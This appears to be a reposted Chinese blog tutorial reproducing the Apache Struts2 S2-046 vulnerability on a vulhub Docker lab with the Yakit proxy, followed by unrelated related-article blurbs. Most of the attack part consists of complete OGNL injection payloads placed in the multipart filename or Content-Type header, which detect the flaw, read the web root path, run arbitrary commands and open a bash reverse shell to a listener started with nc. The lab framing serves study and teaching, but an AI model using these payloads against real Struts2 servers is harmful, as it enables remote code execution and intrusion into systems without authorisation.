新手向的s2-046漏洞复现

一、前期准备

1.docker容器

  作为第一次接触struts2漏洞类型的小白，第一步从搭建环境开始。首先我们需要准备一个服务器或者本地系统，我这里是使用本地的kali，kali里面需要有docker容器，docker容器的安装教程请自行搜索，在这就不过多的赘述。

2.搭建s2-046漏洞靶场

vulhub靶场地址：https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md

vulhub靶场安装包：https://github.com/vulhub/vulhub/archive/master.zip

将下载好的安装包放入kali中并解压，并进入s2漏洞的目录。

cd /vulhub-master/struts2

图片

找到此次要复现的s2-046漏洞。

图片

启动s2-046漏洞环境。

docker-compose up -d

图片

查看是否启动成功。

docker ps

图片

查看ip。

ifconfig

图片

访问漏洞地址查看是否搭建成功。

图片

显示上面的页面就代表漏洞搭建成功。

3.Yakit简单使用教程

根据自己的喜好选择启动方式，我这里直接使用如下图的方式进入。

图片

第一步：启动劫持

图片

第一次使用的时候需要配置证书

第二步：配置证书

图片

下载证书。

图片

第三步：将下载的证书导入浏览器中

图片

第四步：启动系统代理并在浏览器的代理插件中进行设置，切记信息需要一致

如下图

图片

通过以上的四步yakit的浏览器抓包设置成功，可以开始抓包操作了。

图片

抓包成功，就可以和burp一样进行操作了，后面的就不再进行赘述了。

图片

二、复现s2-046漏洞

1.方法一需要00截断

环境搭建好了，即可开始复现漏洞，这里我使用yakit进行抓包。

根据网上的复现教程，我们直接抓取submit按钮提交数据的包，如下：

图片

成功抓取数据包后，将数据包发送到web fuzzer模块当中，相当于burp的repeater模块。

图片

漏洞检测

在数据包中的filename处中插入下列POC代码。使用此poc需要进行00截断，在下面的poc末尾加上%00，然后url解码再放到filename处发包。

未解码的poc：

${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo has vul need 00jieduan').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

解码后的poc：

${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo 张三小卡拉米').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}%00

对%00进行url解码。

选择%00点击解码如下图。

图片

然后点击替换。

图片

成功解码。

注意1：

Yakit版本太老url解码会失败，请将版本更新到最新版本。

图片

发包若出现“张三小卡拉米”则表示存在S2-046漏洞。

图片

注意2：

%00截断后面得加一些字符，不然就会测试失败。

图片

读取当前文件路径

这里的例子是使用的vulhub的s2-046靶场，读取出的当前文件的路径是 /usr/src/src/main/webapp,同样需要对%00进行url解码

poc：

Content-Disposition: form-data; name="upload"; filename="s.%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest')).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getWriter())).(#ros.print(#req.getRealPath('/'))).(#ros.flush()).(#ros.close())}%00b

读取成功。

图片

任意命令执行

使用下面的poc执行了whoami，将(#cmd='whoami')中的whoami替换成其他win或者linux的命令即可，同样需要对%00进行url解码。

poc：

Content-Disposition: form-data; name="upload"; filename="Content-Type:${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

成功执行。

图片

反弹shell

攻击机上开启监听

nc -lvp 9999

使用poc反弹shell，poc里面的内容需要根据你自己的IP进行修改。

poc：

${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.175.129/9999 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

反弹成功。

图片

2.方法二不用00截断

漏洞检测

抓取url:http://192.168.175.129:8080/的数据包，然后将get请求替换成post请求。

图片

get请求替换成post请求，直接使用yakit一键替换非常方便。

检测漏洞的POC，这个漏洞的位置在content-type，执行完会输出“zhang san”，有”zhang san“则代表有s2-046漏洞。

Content-Type:${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo zhang san').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

图片

读取当前文件路径

这里的例子是使用的vulhub的s2-046靶场，读取出的当前文件的路径是 /usr/src/src/main/webapp

poc：

Content-Type:${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest')).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getWriter())).(#ros.print(#req.getRealPath('/'))).(#ros.flush()).(#ros.close())}

读取成功。

图片

任意命令执行

使用下面的poc执行了whoami，将(#cmd='whoami')中的whoami替换成其他win或者linux的命令即可

poc：

Content-Type:${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

成功执行。

图片

反弹shell

攻击机上开启监听

nc -lvp 9999

图片

使用poc反弹shell，poc里面的内容自行更改。

poc：

Content-Type:${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.175.129/9999 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

反弹成功。

图片

到此s2-046漏洞复现完结。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/322686.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

【C++】STL — List的接口讲解 +详细模拟实现

【C++】STL — List的接口讲解 +详细模拟实现

前言： 本章我们将学习STL中另一个重要的类模板list… list是可以在常数范围内在任意位置进行插入和删除的序列式容器，并且该容器可以前后双向迭代。list的底层是带头双向循环链表结构，双向链表中每个元素存储在互不相关的独立节点中&#xf…
阅读更多...
Prompt提示词教程 | 提示工程指南 | 提示词示例 入门篇

Prompt提示词教程 | 提示工程指南 | 提示词示例 入门篇

在上一节中，我们介绍并给出了如何赋能大语言模型的基本示例。如果还没看而且是刚入门的同学建议看下，有个基本概念。 Prompt提示词教程 | 提示工程指南 | 提示工程简介https://blog.csdn.net/HRG520JN/article/details/138523705在本节中，我…
阅读更多...
2024 GESP6级 编程第一题 游戏

2024 GESP6级 编程第一题 游戏

题目描述 你有四个正整数 ，并准备用它们玩一个简单的小游戏。 在一轮游戏操作中，你可以选择将 减去 ，或是将 减去 。游戏将会进行多轮操作，直到当 时游戏结束。 你想知道游戏结束时有多少种不同的游戏操作序列。两种游戏操作…
阅读更多...
为软件教学文档增加实践能力

为软件教学文档增加实践能力

为了更方便软件教学，我们在凌鲨(OpenLinkSaas)上增加了公共资源引用的功能。 目前可以被引用的公共资源: 微应用常用软件公共知识库Docker模板 引用公共资源 引用微应用 目前微应用包含了主流数据库，终端等工具，可以方便的进行各种相关实…
阅读更多...
【前端】HTML基础（1）

【前端】HTML基础（1）

文章目录 前言一、什么是前端二、HTML基础1、 HTML结构1.1 什么是HTML页面1.2 认识HTML标签1.3 HTML文件基本结构1.3 标签层次结构1.4 创建html文件1.5 快速生成代码框架 三、Emmet快捷键 前言 这篇博客仅仅是对HTML的基本结构进行了一些说明，关于HTML的更多讲解以及…
阅读更多...
容联云孔淼：大模型落地与全域营销中台建设

容联云孔淼：大模型落地与全域营销中台建设

近日，由金科创新社主办的2024区域性商业银行数智化转型研讨会顺利召开， 容联云产业数字云事业群副总经理、诸葛智能创始人孔淼受邀出席，并分享数智化转型实践经验。 他分享了容联云两大核心产品，“大模型应用容犀Copilot”在金融营…
阅读更多...
Spring Security初探

Spring Security初探

url说明方法/login/oauth/authorize无登录态时跳转到/authentication/require，有登录态时跳转到/loginorg.springframework.security.oauth2.provider.endpoint.AuthorizationEndpoint#authorize/authentication/require自己写的用于重定向到登录页面的urlcn.merryy…
阅读更多...
PowerDesigner16.7常用配置详解（不断更新）

PowerDesigner16.7常用配置详解（不断更新）

1 快捷切换name和code 右击调整出按钮，点击按钮即可切换 点击即可切换name和code 2 同时显示name和code，并且显示Comment注释 双击任意一张表，点击columns，再筛选，选中comment后确认 补充好comment信息，…
阅读更多...
牛客网刷题 | BC80 奇偶统计

牛客网刷题 | BC80 奇偶统计

目前主要分为三个专栏，后续还会添加： 专栏如下： C语言刷题解析 C语言系列文章 我的成长经历 感谢阅读！ 初来乍到，如有错误请指出，感谢！ 描述 任意输入一个正整数…
阅读更多...
Linux Ubuntu 开机自启动浏览器

Linux Ubuntu 开机自启动浏览器

终端输入命令：gnome-session-properties 打开启动设置 如果提示：Command ‘gnome-session-properties’ not found, but can be installed with: apt install gnome-startup-applications 则执行：apt install gnome-startup-applications安装…
阅读更多...
1688数据分析实操技巧||1688商品数据采集接口 数据分析

1688数据分析实操技巧||1688商品数据采集接口 数据分析

今天，聊一聊B2B平台的数据分析，以1688国内站为例。 1688平台数据接口 1688也属于阿里巴巴的体系，跟淘宝天猫运营很像，因此很多淘宝天猫的玩法调整后也适用于1688。数据分析也是如此。 在1688搞数据分析，搞数据化运营可…
阅读更多...
逆向中webpack需要补充的模块很多怎么办

逆向中webpack需要补充的模块很多怎么办

如下面这种典型的形式 进入i找到加载器 找到加载器所在函数r,在 return e[a].call(c.exports, c, c.exports, r),打上断点。 在控制台打印e,会发现它总共有的模块，这些模块需要我们在别的webpack中复制，有时很多，很麻烦。 我们可以注入代码在…
阅读更多...
【PMP战报】2024.3.10 PMP考试成绩出炉

【PMP战报】2024.3.10 PMP考试成绩出炉

PMP成绩查询及电子版证书下载 https://mp.weixin.qq.com/s/HgWrZWjJ0cScEYs4w1b4iwPMP项目管理学习专栏https://blog.csdn.net/xmws_it/category_10954848.html?spm1001.2014.3001.5482 2024年3月中国大陆的认证考试已经顺利结束。 从2024年5月7日开始，大约一周内…
阅读更多...
单片机的中断

单片机的中断

1. 中断系统是为使CPU具有对外界紧急事件的实时处理能力而设置 当中央处理机CPU正在处理某件事的时候外界发生紧急事件请求，要CPU暂停当前的工作，转而去处理这个紧急事件，处理完以后，再回到原来中断的地方，继续原…
阅读更多...
serve服务

serve服务

全局安装 npm install -g serve 进入目录， 执行serve ， 就可直接开启服务
阅读更多...
LAME及 iOS 编译

LAME及 iOS 编译

文章目录 关于 LAME编译 for iOS 关于 LAME 官网：https://lame.sourceforge.io LAME是根据LGPL许可的高质量MPEG音频层III（MP3）编码器。 LAME的开发始于1998年年中左右。Mike Cheng 最开始将它作为针对8hz-MP3编码器源的补丁。在其他人提出…
阅读更多...
使用Python及R语言绘制简易数据分析报告

使用Python及R语言绘制简易数据分析报告

Pytohn实现 在python中有很多包可以实现绘制数据分析报告的功能，推荐两个较为方便的包：pandas-profiling 和 sweetviz 。 使用 pandas-profiling 包（功能全面） 这个包的个别依赖包与机器学习的 sklearn 包的依赖包存在版本冲突&a…
阅读更多...
Stable Diffusion Ai绘画模型推荐：二次元Coriander_Mix v1大模型推荐

Stable Diffusion Ai绘画模型推荐：二次元Coriander_Mix v1大模型推荐

负tag嵌入式:EasyNegative,badhandv4 此模型经测试是写实偏3D的效果 画质灰暗的话请加：VAE840000 或者负tag：(watermark:2),(blurry:2),fat,paintings,sketches,(worst quality:2),(low quality:2),(normal quality:2),((monochrome)), ((grayscale))…
阅读更多...
jsp驾校管理系统Myeclipse开发mysql数据库web结构java编程计算机网页项目

jsp驾校管理系统Myeclipse开发mysql数据库web结构java编程计算机网页项目

一、源码特点 JSP 驾校管理系统 是一套完善的web设计系统，对理解JSP java编程开发语言有帮助，系统具有完整的源代码和数据库，系统采用serlvetdaobean mvc 模式，系统主要采用B/S模式开发。开发环境为TOMCAT7.0,Myeclipse8.5开发…
阅读更多...
分布式锁之-redis

分布式锁之-redis

什么是分布式锁？ 即分布式系统中的锁。在单体应用中我们通过锁解决的是控制共享资源访问的问题，而分布式锁，就是解决了分布式系统中控制共享资源访问的问题。与单体应用不同的是，分布式系统中竞争共享资源的最小粒度从线程升级成了…
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023